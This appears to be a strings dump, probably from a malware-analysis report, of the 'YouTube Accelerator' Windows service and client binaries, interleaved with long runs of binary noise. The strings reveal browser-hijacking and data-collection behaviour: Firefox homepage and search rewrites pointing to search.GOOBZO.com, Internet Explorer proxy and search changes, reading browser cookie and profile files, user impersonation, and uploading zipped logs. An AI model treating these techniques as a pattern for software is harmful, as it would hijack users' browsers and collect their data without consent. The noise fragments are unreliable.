[CImpersonate::OpenCurrentUserKey] RegOpenCurrentUser - SUCCESS

[CImpersonate::OpenCurrentUserKey] Impersonated: %d

[CImpersonate::FindLoggedOnUser] Process32First - Error: %d

[CImpersonate::FindLoggedOnUser] OpenProcess - Error: %d

[CImpersonate::FindLoggedOnUser] OpenProcessToken - Error: %d

[CImpersonate::FindLoggedOnUser] CreateToolhelp32Snapshot failed - Error: %d

SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

explorer.exe

[CImpersonate::FindLoggedOnUser] Impersonated: %d

[CImpersonate::GetLogonUserName] Name: %s

[CImpersonate::GetLogonUserName] GetUserName - Error: %d

[CImpersonateThread::NotifyImpersonateLogon] Time: %d

[CImpersonateThread::NotifyImpersonateLogoff] Time: %d

[CImpersonateThread::ProcessEvent] CreateProcess - CmdLine: %s, AppName: %s, ShowCmd: %d

[CImpersonateThread::CreateProcess] CmdLine: %s, AppName: %s, ShowCmd: %d

[CImpersonateThread::Start ] ___Error SetConsoleCtrlHandler(TRUE), LE: %d

[CImpersonateThread::Start ] ___Error SetConsoleCtrlHandler(FALSE) failed: %d

engine.dll

DestroyPipeEventThreadManager

CreatePipeEventThreadManager

ipc.dll

xmldb.dll

config.xml

<d/d/%d d:d:d::d 0x%X>

[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegNotifyChangeKeyValue

[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegOpenKeyEx

[SbTracer::RecursiveCreateDirectory] Directory: %s

[SbTracer::RecursiveCreateDirectory] ___Error - CreateDirectory: %s

[SbTracer::RecursiveCreateDirectory] ___Error - Directory: %s

[SbTracer::ReadConfiguration] Trace Max Size: %d

[SbTracer::ReadConfiguration] Trace Time Stamp: %d

[SbTracer::ReadConfiguration] Trace Time Limit: %d

[SbTracer::ReadConfiguration] Trace Backup: %d

[SbTracer::ReadConfiguration] Trace Destination: %d

[SbTracer::ReadConfiguration] Trace Level: %d

[SbTracer::FormatFilePath] Log Path: %s

[SbTracer::FormatFilePath] ___Error - RecursiveCreateDirectory: %s

[SbTracer::FormatFilePath] ___Warning - No Log folder: %s

[SbTracer::FormatFilePath] ___Error - GetModuleFileName: %s

\StringFileInfo\x\%s

[SbTracer::BackupTraceFile] %s

[SbTracer::OpenTraceFile] Done %s

[SbTracer::OpenTraceFile] ___Error: %d, File: %s

[SbTracer::WriteTraceLine] !!! OVERFLOW or FORMAT ERROR !!! - (%d) %s

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] SetSecurityDescriptorDacl failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] InitializeSecurityDescriptor failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the trusted owner. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the Everyone group. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the queue owner. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] InitializeAcl failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] GetLogonSID failed. Error code: 0x%X

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AllocateAndInitializeSid failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] GetTokenInformation failed. GetLastError returned: %d

[CServiceController::ChangeStartType] ___Error ChangeServiceConfig failed: %d

[CServiceController::ChangeStartType] ___Error OpenService: %s, failed: %d

[CServiceController::ChangeStartType] ___Error OpenSCManager failed: %d

[CServiceController::ChangeStartType] Name: %s

[CServiceController::ExecuteServer] Exit

[CServiceController::ExecuteServer] Enter

[CServiceController::ServiceMain] ___Error SetServiceStatus Failed: %d

[CServiceController::ServiceMain] ___Error RegisterServiceCtrlHandler Failed: %d

[CServiceController::UpdateServiceDespatchTable] ___Error Exception StartServiceCtrlDispatcher Failed: %d

[CServiceController::UpdateServiceDespatchTable] ___Error StartServiceCtrlDispatcher Failed: %d

[CServiceController::UpdateServiceDespatchTable] Enter, %s

[CServiceController::Remove] ___Error OpenService Failed: %d

[CServiceController::Remove] ___Error OpenSCManager Failed: %d

[CServiceController::GetStatus] ___Error QueryServiceStatus Failed: %d

[CServiceController::GetStatus] ___Error OpenService Failed: %d

[CServiceController::GetStatus] ___Error OpenSCManager Failed: %d

[CServiceController::Start] The service %s was started

[CServiceController::Start] ___Error StartService Failed: %d

[CServiceController::Start] ___Error OpenService Failed: %d

[CServiceController::Start] ___Error OpenSCManager Failed: %d

[CServiceController::Start] Going to start the service %s

[CServiceController::Stop] The service %s was stopped

YoutubeAcceleratorService.exe

[CServiceController::Stop] ___Error ControlService Failed: %d

[CServiceController::Stop] ___Error OpenService Failed: %d

[CServiceController::Stop] Going to stop the service %s

[CServiceController::Stop] ___Error SetServiceStatus Failed: %d

[CServiceController::Install] ___Error OpenService Failed: %d

[CServiceController::Install] ___Error QueryServiceStatus Failed: %d

[CServiceController::Install] ___Error CreateService Failed: %d

[CServiceController::Install] ___Error OpenSCManager Failed: %d

%s -%s -%s

%s\%s

[CServiceController::Install] ___Error GetModuleFileName Failed: %d

[CServiceController::GetArgsFromCmd] Exit

[CServiceController::GetArgsFromCmd] m_bSCMCmd = TRUE

[CServiceController::GetArgsFromCmd] Enter

[CServiceController::RunCommand] Args: %s

Please contact the application's support team for more information.

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

operator

GetProcessWindowStation

USER32.DLL

c:\BUILDS\Build_YTA\Client\VA_3_2\Bin\Release\YouTubeAcceleratorService.pdb

KERNEL32.dll

USER32.dll

ADVAPI32.dll

SHELL32.dll

VERSION.dll

USERENV.dll

PSAPI.DLL

.?AVIPipeEventsThread@@

.?AVCPipeEventThread@@

.?AV?$IMultiBaseInterface@VIPipeEventThreadManagerFactory@@@@

.?AVIPipeEventThreadManagerFactory@@

.?AV?$CMultiBaseInterface@VCPipeEventThreadManagerFactory@@VIPipeEventThreadManagerFactory@@@@

.?AVCPipeEventThreadManagerFactory@@

C:\PROGRA~2\YOUTUB~1\YouTubeAcceleratorService.exe

aSSSh

FTPjK

FtPj;

C.PjRV

]@ ]( ]8

tGHt.Ht&

FTPQ

.?AVunsupported_thread_option@boost@@

zcÁ

SetProcessShutdownParameters

kernel32.dll

COMCTL32.DLL

boost::too_few_args: format-string referred to more arguments than were passed

boost::too_many_args: format-string referred to less arguments than were passed

Required USB Key not found

Failed to execute target process

Cannot find import; DLL may be missing, corrupt, or wrong version

File "%s", function "%s"

File "%s", ordinal %d

File "%s", error %d

(Error code %d)

%X:DAF

(Location XEB, error code %d)

_PAD%d

RNX

%X::DAX

KERNEL32.DLL

.DbgLog

GetWindowsDirectoryW

CreateDialogIndirectParamW

Kernel32.dll

User32.dll

ComDlg32.dll

1.2.3

EXCEPTION_FLT_INVALID_OPERATION

EXCEPTION_FLT_DENORMAL_OPERAND

boost::unsupported_thread_option

mscoree.dll

Visual C   CRT: Not enough memory to complete call to strerror.

.mixcrt

ADVAPI32.DLL

portuguese-brazilian

Broken pipe

Inappropriate I/O control operation

Operation not permitted

deflate 1.2.3 Copyright 1995-2005 Jean-loup Gailly

inflate 1.2.3 Copyright 1995-2005 Mark Adler

C:\PROGRA~2\YOUTUB~1\YouTubeAcceleratorService-2.DbgLog

GetWindowsDirectoryA

EnumThreadWindows

EnumWindows

CreateDialogIndirectParamA

GetAsyncKeyState

GDI32.dll

comdlg32.dll

GetProcessHeap

GetCPInfo

GetConsoleOutputCP

^.Ad/

.Zvv[

j%FwL

e.tu/

5%up/

A.YNpN\n

%Um-IF

.BV$L|

%X1:S

`?T%Sj

%x@k4

.iyDY

j.Wsf

Cr.BxL

V.Fb7|

$"bM-Q}n

%x R\X

4%sPp

_%S3@

.LvHT

.owm;y,

}R.zmA

.bi@{

>I|.pt|d

t_\A

p}.GF

G){.mf

.xh$x

U.gs!

J|0.tL

.iJp`

.zE:aG

.7%Xs

-DED%xFqz

%cnzb

%UQzss

1%.Ey\=

/\%Dg

.FlC\5

.cA~;

P?=I_.or\

E.yb|4

%SuSw

T.UHuR

LZÁ

Q,-I}g_

4.gtE

-;M.EZk

1:](P%X

g.RUg

fH.XFH

.cP;_

<requestedExecutionLevel level="requireAdministrator" uiAccess="false"></requestedExecutionLevel>

OUTUB~1\YouTubeAcceleratorService.exe

3.3.9.5

YouTubeAccelerator.exe_3632:

.text

`.rdata

@.data

.text1

.adata

.data1

.pdata

.rsrc

uh9.tZ

otuh9.tZ

tZ9.tB

tV9.tB

l$$9.tZ

ub9.tM

@ SSh

SSSSh

D$<9.tZ

\9.tB

D$`9.tZ

FTPj

t#WSSh

D$(PSSh

s%j.Zf

tGHt.Ht&

@Uu.AUuv

%a,%d-%b-%Y %H:%M:%S

DestroyPipeEventThreadManager

CreatePipeEventThreadManager

spCmd

3.3.9.5

<img src="images/v4.gif" alt="" />

<img src="images/v3.gif" alt="" />

user32.dll

CWebBrowser2

CNotSupportedException

hhctrl.ocx

CCmdTarget

KERNEL32.DLL

Please contact the application's support team for more information.

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

GetProcessWindowStation

USER32.DLL

operator

OLEACC.dll

c:\BUILDS\Build_YTA\Client\VA_3_2\Bin\Release_Unicode\YouTubeAcceleratorU.pdb

VERSION.dll

KERNEL32.dll

USER32.dll

GDI32.dll

COMDLG32.dll

WINSPOOL.DRV

ADVAPI32.dll

SHELL32.dll

COMCTL32.dll

SHLWAPI.dll

oledlg.dll

ole32.dll

OLEAUT32.dll

WININET.dll

WS2_32.dll

USERENV.dll

PSAPI.DLL

.?AVCCmdTarget@@

.PAVCException@@

.?AVCWebWindow@@

.?AVCHttp@@

.?AVCHttpAsync@@

.?AVCExecuteUpdate@@

.?AVCExitWindows@@

.?AVIHttpEngineConfiguration@@

.?AV?$CBaseInterface@VHttpEngineConfiguration@@VIHttpEngineConfiguration@@@@

.?AVHttpEngineConfiguration@@

.?AVIPipeEventsThread@@

.?AVCSLogReportEventThread@@

.?AVCPipeEventThread@@

.?AV?$IMultiBaseInterface@VIPipeEventThreadManagerFactory@@@@

.?AVIPipeEventThreadManagerFactory@@

.?AV?$CMultiBaseInterface@VCPipeEventThreadManagerFactory@@VIPipeEventThreadManagerFactory@@@@

.?AVCPipeEventThreadManagerFactory@@

<>"#{}|\^~[]`' ?&

.?AVCSABaseWebWindow@@

.?AVCSANotifierWebWindow@@

.?AVCSAWebWindow@@

.PAVCMemoryException@@

.?AVCWebBrowser2@@

.?AVCWebForm@@

.?AVCWebElement@@

.?AVCWebInput@@

.?AVCWebAnchor@@

.?AVCWebDiv@@

.?AVCWebCheckBox@@

.PAVCSimpleException@@

.PAVCObject@@

.PAVCNotSupportedException@@

.PAVCInvalidArgException@@

.?AVCNotSupportedException@@

.PAVCOleException@@

.PAVCResourceException@@

.PAVCUserException@@

.?AVCTestCmdUI@@

.?AVCCmdUI@@

.PAVCOleDispatchException@@

.PAVCArchiveException@@

.?AV?$CFixedStringT@V?$CStringT@_WV?$StrTraitMFC@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@$0BAA@@ATL@@

.?AV?$CStringT@_WV?$StrTraitMFC@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@

.PAVCFileException@@

zcÁ

aSSSh

FTPjK

FtPj;

C.PjRV

]@ ]( ]8

FTPQ

.?AVunsupported_thread_option@boost@@

SetProcessShutdownParameters

kernel32.dll

COMCTL32.DLL

boost::too_few_args: format-string referred to more arguments than were passed

boost::too_many_args: format-string referred to less arguments than were passed

Required USB Key not found

Failed to execute target process

Cannot find import; DLL may be missing, corrupt, or wrong version

File "%s", function "%s"

File "%s", ordinal %d

File "%s", error %d

(Error code %d)

%X:DAF

(Location XEB, error code %d)

_PAD%d

RNX

%X::DAX

.DbgLog

GetWindowsDirectoryW

CreateDialogIndirectParamW

Kernel32.dll

User32.dll

ComDlg32.dll

1.2.3

EXCEPTION_FLT_INVALID_OPERATION

EXCEPTION_FLT_DENORMAL_OPERAND

boost::unsupported_thread_option

mscoree.dll

Visual C   CRT: Not enough memory to complete call to strerror.

.mixcrt

ADVAPI32.DLL

portuguese-brazilian

Broken pipe

Inappropriate I/O control operation

Operation not permitted

deflate 1.2.3 Copyright 1995-2005 Jean-loup Gailly

inflate 1.2.3 Copyright 1995-2005 Mark Adler

%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator-2.DbgLog

%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe

GetWindowsDirectoryA

EnumThreadWindows

EnumWindows

CreateDialogIndirectParamA

GetAsyncKeyState

comdlg32.dll

GetProcessHeap

GetCPInfo

GetConsoleOutputCP

^.Ad/

.Zvv[

j%FwL

e.tu/

5%up/

A.YNpN\n

%Um-IF

.BV$L|

%X1:S

`?T%Sj

%x@k4

.iyDY

j.Wsf

Cr.BxL

V.Fb7|

$"bM-Q}n

%x R\X

4%sPp

_%S3@

.LvHT

.owm;y,

}R.zmA

.bi@{

>I|.pt|d

t_\A

p}.GF

G){.mf

.xh$x

U.gs!

J|0.tL

.iJp`

.zE:aG

.7%Xs

-DED%xFqz

%cnzb

%UQzss

1%.Ey\=

/\%Dg

.FlC\5

.cA~;

P?=I_.or\

E.yb|4

%SuSw

T.UHuR

,'*%f

!.OUV

.FLy3

jS.TP]

ULsD1A%C

.Wk4ka&F

=.BJu

.Ao$u

w%fVb

Ü/OK1I

vAR%5s_

.OM4t

~UsQl^

h2%XL

|RZ%X#

Al-f}

Zdr.Uzr

'5,# {:#

L.gSeC

.Xw_I

|v%s9

j,M

CPX.ta

S.OSC

<.fRv

kksQl

}C.Xz

'(}:"%;'

8,.Dl

y%swo

XX.VK

..Jz`

,'.mM

@M.kuMhW

CQ.ug

{\.Gpf

.LHP9Q

U|i

.epAjX(

&i.zi

%DHTz

j8.CW

I7Û

.BR }:

-.Ozl

6'.VA

"x.UU;

.MtNM

9;}%X

%SAw'[

.xVCVe7x

%s7$T

.aP4\Wa

 %DmQ.

ce.Sz0{6

7_:%d

bjz6Œ8[

t1.AU

zTaB.nf

)g.ow

^__:;;,,,~

9:;556011---

<requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>

%s (%s:%d)

%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\atlmfc\include\afxwin1.inl

JhXXp://@BRAND_ID@.@[email protected]/support/video-sites

hXXp://@BRAND_ID@.@[email protected]/buy/hd/

hXXp://wiki.@[email protected]/doku.php?id=va:start

%s?OEM=%s

hXXp://VVV.@[email protected]

hXXp://@BRAND_ID@.@[email protected]/legal/license

blank.html

hXXp://VVV.@[email protected]/legal/privacy

[CAcceleratorEventsData::OnDeserialize] ___Error get URL

@CActivationBrowser::OnBeforeNavigate : url = %s

CActivationBrowser::OnNavigateComplete : url = %s

CActivationBrowser::OnNavigateError : url = %s

Res.dll

CActivationBrowser::SetMetaData GOT 'OPEN_URL'

OPEN_URL

CActivationBrowser::SetMetaData GOT 'ACTIVATION_BACK_URL'

ACTIVATION_BACK_URL

activation_offline.mht

%X%X%X

hXXp://client.@[email protected]/clientva/Activation.aspx

CActivationBrowser::OnDocumentComplete : url = %s

ipc.dll

\\.\pipe\GOOBZO_VAPIPESERVERENG

LastNum%d

LastID%d

\\.\pipe\GOOBZO_VAPIPESERVERUI

CBrowserSettings::RegisterDLL - LoadLibrary() Failed: %s

CBrowserSettings::RegisterDLL %s

%s = %s; expires = %s

%a,%d-%b-%Y %H:%M:%S GMT

2prefs.js

profiles.ini

profile%d

Mozilla\Firefox\

cookies.txt

Software\Microsoft\Internet Explorer\AboutURLs

user_pref("keyword.URL", "%s");

Use Custom Search URL

DefaultSearchURL

SBSearch.dll

SearchURL

Web Search

user_pref("browser.startup.homepage","%s");

restore.GOOBZO.com

hXXp://search.GOOBZO.com

search.GOOBZO.com

%d-%b-%Y

hXXp://restore.GOOBZO.com

user_pref("browser.startup.homepage",

HTTP/1.0

Software\Microsoft\Windows\CurrentVersion\Internet Settings

Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

HTTP/1.1

Content-Type: multipart/form-data; boundary=%s

Content-Disposition: form-data; name="%s"

XXX

[CCommandsQueue::SetAsync (%p)] ___Error CreateEvent(), Error: %d

[CCommandsQueue::CCommandsQueue - (%p)] CreateEvent() - Failed, Error: %d

test.youtubeaccelerator.com

hXXp://test.youtubeaccelerator.com/video_accelerator/wizardtest/SMALLTEST.HTM?random=%d&mode=%s

Windows CE

Windows 7

Windows Vista

Windows 2003 Server

Windows XP

Windows 2000

Windows NT

Windows Me

Windows 98

Windows 95

[CCommTest::SetEngineMode] %d

vaproxy.pac

[CCommTest::StartServiceTest] ___Error Default EngineMode = %d !!!

[CCommTest::StartGuiTest] ___Error to create VACommTest process. LE: %d

testlsp.exe

[CCommTest::ProcessNextState] ___Error State = %d !!!

[CCommTestDlg::KillAllTimers] m_ConnectivityCheckTimer Timer: %d

[CCommTestDlg::ResetConnectionTimer] SetTimer: %d

[CCommTestDlg::ResetConnectivityCheckTimer] SetTimer: %d

CCommTestDlg::OnTimer() - m_ConnectionTestFailedTimer: %d

SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy

showitunesMsg

DontShowAccelerationNotSupported

lastiTunesMsgTime

ManualProxyPort

[CConfig::IsLastTestingSucceeded] REGISTRY - Status = %d

[CConfig::IsLastTestingSucceeded] XML - Status = %d

[CConfig::SetLastTestingSucceeded] ___Error LastTestingSucceeded = %d (XML)

[CConfig::SetLastTestingSucceeded] LastTestingSucceeded = %d (XML)

[CConfig::IsTestingMode] ___Error TestingMode = %d (XML)

[CConfig::IsTestingMode] TestingMode = %d (XML)

[CConfig::SetTestingMode] ___Error TestingMode = %d (XML)

[CConfig::SetTestingMode] TestingMode = %d (XML)

[CConfig::GetBrandPort] BrandPort = %d

br_port

CConfig::SetCurrentUserKey

ReportCommFailed

[CConfig::SetSendLogFiles] Status = %d

[CConfig::SetSendInstLogFileOnly] Status = %d

[CConfig::GetCurrentUserKey] ___Error spIImpersonateThread == NULL

[CConfig::SetTracerOff] ___Error GetRegistryKeys

[CConfig::SetBackup] ___Error GetRegistryKeys

[CConfig::SetBackup] Status = %d

[CConfig::AddToLearningDomainsList] ___Error adding the domain %s to the learning domains list

[CConfig::AddToLearningDomainsList] The domain %s was added to the learning domains list

[CConfig::IsXBoxMode] Status = %d

[CConfig::SetTracerOn] ___Error GetRegistryKeys

[CConfig::SetTracer] Status = %d

B%sLow\%s\

%C:\Users\Public\Documents\%s\%s\

%s\%s\%s\

%s\Application Data\%s\%s\

[CCoreConfig::InitConfig] Product Name %s UseRegistry %d

You are using %s - Translated by:

[CFileResource::Load] ___Error SizeofResource: %d

[CFileResource::Load] ___Error LockResource: %d

[CFileResource::Load] ___Error LoadResource: %d

[CFileResource::Load] ___Error FindResource: %d

[CFileResource::Load] %s

[CFileResource::Extract] ___Error Write: %d

[CFileResource::Extract] ___Error Create: %d

[CFileResource::Extract] %s

[CFileResource::ExtractAll] ___Error ExtractResourceFromList: %x

[CFileResource::ExtractAll] ___Error EnumResourceTypes: %d

ListenPort

[EngineConfiguration::GetCurrentUserKey] User Key: %X

[EngineConfiguration::GetCurrentUserKey] ___Error spIImpersonateThread == NULL

HttpRedirectProxyPort

HttpRedirectProxyDomain

[CEventsThread::SetTimeoutResolution] From: %d -> To: %d

[CEventsThread::WaitForMultipleEvents] Released on Signaled: %d ms

[CEventsThread::WaitForMultipleEvents] Released on Timeout: %d ms

[CEventsThread::WaitForMultipleEvents] ___Error MsgWaitForMultipleObjectsEx. LE: %d

[CEventsThread::WaitForMultipleEvents] TID=%X

[CEventsThread::CreateNamedEvent] OpenEvent. LE: %d

[CEventsThread::CreateNamedEvent] ___Error OpenEvent: LE: %d

[CEventsThread::CreateNamedEvent] ___Error CreateEvent. LE: %d. Try OpenEvent...

[CEventsThread::Start - Leave] TID=%X

[CEventsThread::Start] ___Error - Failed to create thread: %X

[CEventsThread::Stop - Leave] TID=%X

[CEventsThread::Stop - Enter] TID=%X

B[CEventsThread::CallProcessTimeoutRoutines] ___Error Invalid Event Entry: %d, Timeout: %d

[CEventsThread::AlertEvent] ___Error SetEvent failed: %d

[CEventsThread::AlertEvent] ___Error Invalid Event Entry: %d

[CEventsThread::AlertEvent] ___Error Not found Event: %d

[CEventsThread::SetGlobalEvent] ___Error Invalid Event Entry: %d

[CEventsThread::SetGlobalEvent] ___Error Not found Event: %d

[CEventsThread::SetGlobalEvent] Event: %d

[CEventsThread::ResetEvent] ___Error ResetEvent failed: %d

[CEventsThread::ResetEvent] ___Error Invalid Event Entry: %d

[CEventsThread::ResetEvent] ___Error Not found Event: %d

[CEventsThread::ResetEvent] Event: %d

[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Entry: %d

[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Index: %d

[CEventsThread::RemoveEvent] ___Error CloseHandle failed: %d

[CEventsThread::RemoveEvent] ___Error Invalid Event Entry: %d

[CEventsThread::RemoveEvent] ___Error Not found Event: %d

[CEventsThread::RemoveEvent] Event: %d

[CEventsThread::Cleanup] ___Error CloseHandle(0x%p) failed: %d

[CEventsThread::Cleanup] Closing Handle: %d

[CEventsThread::WaitEvent] TID=%X

[CEventsThread::Work] TID=%X - Exit !!!

[CEventsThread::Work] WAIT_ABANDONED - %d

[CEventsThread::Work] TID=%X

B[CEventsThread::AddEvent] ___Warning event handle already exists %d

[CEventsThread::AddEvent] ___Error invalid event handle %d

[CExecuteUpdate::OnDeserialize] ___Error get m_ShowCmd

[CExecuteUpdate::OnDeserialize] ___Error get m_Directory

[CExecuteUpdate::OnDeserialize] ___Error get m_Parameters

[CExecuteUpdate::OnDeserialize] ___Error get m_Operation

[CExecuteUpdate::OnDeserialize] ___Error get m_File

[CExecuteUpdate::RunUpdate] ___Error ShellExecute: %s, Faild: %d

http_port

user.js

user_pref("network.proxy.

autoconfig_url

Windows XP Firewall (ICF)

SOFTWARE\McAfee.com\Personal Firewall

DAP.EXE

Windows Security Alert

%d.%d.%d.%d

HttpHandleAll

HttpWorkerBufferLimit

HttpListenPort

HttpListenIP

.html

\winhlp32.exe

[CIEInternetProxySettings::RetriveProxyConfiguration - Exit] list.pOptions == NULL

[CIEInternetProxySettings::ApplyProxyConfiguration] InternetSetOption( INTERNET_OPTION_REFRESH ) - Failed: %d

[CIEInternetProxySettings::ApplyProxyConfiguration] InternetSetOption( INTERNET_OPTION_SETTINGS_CHANGED ) - Failed: %d

[CIEInternetProxySettings::ApplyProxyConfiguration] InternetSetOption() - Failed: %d

[CIEInternetProxySettings::IsOptionIncluded] NOT Found - Option: %d, Value: %d

[CIEInternetProxySettings::IsOptionIncluded] Found - Option: %d, Value: %d

[CIEInternetProxySettings::IsOptionIncluded] NOT Found - Option: %d, Value: %s

[CIEInternetProxySettings::IsOptionIncluded] Found - Option: %d, Value: %s

[CIEInternetProxySettings::IsOptionIncluded] Found - Option: %d, Value: NULL

[CIEInternetProxySettings::SetProxyConfigScript] InternetSetOption( INTERNET_OPTION_REFRESH ) - Failed: %d

[CIEInternetProxySettings::Refresh] InternetSetOption( INTERNET_OPTION_SETTINGS_CHANGED ) - Failed: %d

[CIEInternetProxySettings::SetProxyConfigScript] InternetSetOption() - Failed: %d

[CIEInternetProxySettings::SetProxyConfigScript] list.pOptions == NULL

[CIEInternetProxySettings::GetCurrentUserKey] User Key: %p

[CIEInternetProxySettings::GetCurrentUserKey] ___Error spIImpersonateThread == NULL

[CIEInternetProxySettings::SetProxyConfigScript] InternetSetOption( INTERNET_OPTION_SETTINGS_CHANGED ) - Failed: %d

http=

[CIEInternetProxySettings::Save] %s - %s = %s

[CImpersonate::Impersonate] ImpersonateLoggedOnUser - Error: %d

[CImpersonate::Impersonate] Impersonated: %d

[CImpersonate::Revert] RevertToSelf - Error: %d

[CImpersonate::Revert] Impersonated: %d

[CImpersonate::Cleanup] Impersonated: %d

[CImpersonate::GetUserSID] LookupAccountNameW failed. GetLastError returned: %d

[CImpersonate::GetUserSID] The SID for %s is invalid.

[CImpersonate::GetUserSID] Not Enough Memory: %d

[CImpersonate::SetPrivilege] AdjustTokenPrivileges - Error: %d

[CImpersonate::SetPrivilege] LookupPrivilegeValue - Error: %d

[CImpersonate::OpenCurrentUserDesktop] - The function does not support Windows Vista and Windows 98

[CImpersonate::OpenCurrentUserDesktop] OpenDesktop - Error: %d

[CImpersonate::OpenCurrentUserDesktop] OpenInputDesktop - Error: %d

[CImpersonate::OpenCurrentUserDesktop] SetProcessWindowStation - Error: %d

[CImpersonate::OpenCurrentUserDesktop] OpenWindowStation - Error: %d

[CImpersonate::OpenCurrentUserDesktop] GetProcessWindowStation - Error: %d

[CImpersonate::OpenCurrentUserDesktop] - The function does not support MAC

[CImpersonate::CreateProcessAsCurrentUser] CreateProcessAsUser - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] CreateEnvironmentBlock - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] AddAceToDesktop - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] AddAceToWindowStation - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] GetLogonSID - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] DuplicateTokenEx - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] OpenDesktop - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] SetProcessWindowStation - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] OpenWindowStation - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] GetProcessWindowStation - Error: %d

[CImpersonate::AddAceToWindowStation] SetUserObjectSecurity - Error: %d

[CImpersonate::AddAceToWindowStation] SetSecurityDescriptorDacl - Error: %d

[CImpersonate::AddAceToWindowStation] CopySid - Error: %d

[CImpersonate::AddAceToWindowStation] AddAce - Error: %d

[CImpersonate::AddAceToWindowStation] GetAce - Error: %d

[CImpersonate::AddAceToWindowStation] GetAclInformation - Error: %d

[CImpersonate::AddAceToWindowStation] GetUserObjectSecurity - Error: %d

[CImpersonate::AddAceToDesktop] SetUserObjectSecurity - Error: %d

[CImpersonate::AddAceToDesktop] SetSecurityDescriptorDacl - Error: %d

[CImpersonate::AddAceToDesktop] AddAccessAllowedAce - Error: %d

[CImpersonate::AddAceToDesktop] AddAce - Error: %d

[CImpersonate::AddAceToDesktop] GetAce - Error: %d

[CImpersonate::AddAceToDesktop] GetSecurityDescriptorDacl - Error: %d

[CImpersonate::AddAceToDesktop] GetUserObjectSecurity - Error: %d

[CImpersonate::OpenCurrentUserKey] LoadUserProfile - SUCCESS

[CImpersonate::OpenCurrentUserKey] LoadUserProfile failed - Error: %d

[CImpersonate::GetLogonUserName] GetLogonUserName - Error: %d

[CImpersonate::OpenCurrentUserKey] RegOpenCurrentUser - Error: %d

[CImpersonate::OpenCurrentUserKey] RegOpenCurrentUser - SUCCESS

[CImpersonate::OpenCurrentUserKey] Impersonated: %d

[CImpersonate::FindLoggedOnUser] Process32First - Error: %d

[CImpersonate::FindLoggedOnUser] OpenProcess - Error: %d

[CImpersonate::FindLoggedOnUser] OpenProcessToken - Error: %d

[CImpersonate::FindLoggedOnUser] CreateToolhelp32Snapshot failed - Error: %d

SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

explorer.exe

[CImpersonate::FindLoggedOnUser] Impersonated: %d

[CImpersonate::GetLogonUserName] Name: %s

[CImpersonate::GetLogonUserName] GetUserName - Error: %d

[CImpersonateThread::NotifyImpersonateLogon] Time: %d

[CImpersonateThread::NotifyImpersonateLogoff] Time: %d

[CImpersonateThread::ProcessEvent] CreateProcess - CmdLine: %s, AppName: %s, ShowCmd: %d

[CImpersonateThread::Start ] ___Error SetConsoleCtrlHandler(TRUE), LE: %d

[CImpersonateThread::Start ] ___Error SetConsoleCtrlHandler(FALSE) failed: %d

[CImpersonateThread::CreateProcess] CmdLine: %s, AppName: %s, ShowCmd: %d

Name: %s

Path: %s

Version: %s

%s_%d.log

CSLogReportEventThread::DoPacLogFiles] Zip file created.

*.bak

CSLogReportEventThread::DoPacLogFiles] ___Error FindFirstFile( %s ): %d

*.log

Config.xml

CSLogReportEventThread::DoPacLogFiles] ___Error to Create Zip file.

BakLspCommTest.zip

LspCommTest.zip

[CSLogReportEventThread::DoPostZipFile] ___Error POST FAILED. LE: %X

[CSLogReportEventThread::DoPostZipFile] POST SUCCEEDED

hXXp://online.@[email protected]/online/CommunicationTestFailed.aspx

[CSLogReportEventThread::DoPostZipFile] Trying to POST...

[CSLogReportEventThread::DoPostZipFile] ___Error CHttp to Connect: %X, Server: %s

hXXp://online.@[email protected]/online/

CSLogReportEventThread::DoPostZipFile] ___Error CFile64 to get Zip file length.

CSLogReportEventThread::DoPostZipFile] ___Error CFile64 to open file: %s

[ProxySettingsConfiguration::RestoreOriginalSettings] ___Error ApplyIEProxySettings - Wait: %d

[ProxySettingsConfiguration::RestoreOriginalSettings] ___Error ApplyIEProxySettings - ProcessCommand: %d

[ProxySettingsConfiguration::SaveApplied] ___Error RetrieveIEProxySettings - Wait: %d

[ProxySettingsConfiguration::SaveApplied] ___Error RetrieveIEProxySettings - ProcessCommand: %d

[ProxySettingsConfiguration::SaveOriginal] ___Error RetrieveIEProxySettings - Wait: %d

[ProxySettingsConfiguration::SaveOriginal] ___Error RetrieveIEProxySettings - ProcessCommand: %d

[ProxySettingsConfiguration::RetriveExisting] ___Error RetrieveIEProxySettings - Wait: %d

[ProxySettingsConfiguration::RetriveExisting] ___Error RetrieveIEProxySettings - ProcessCommand: %d

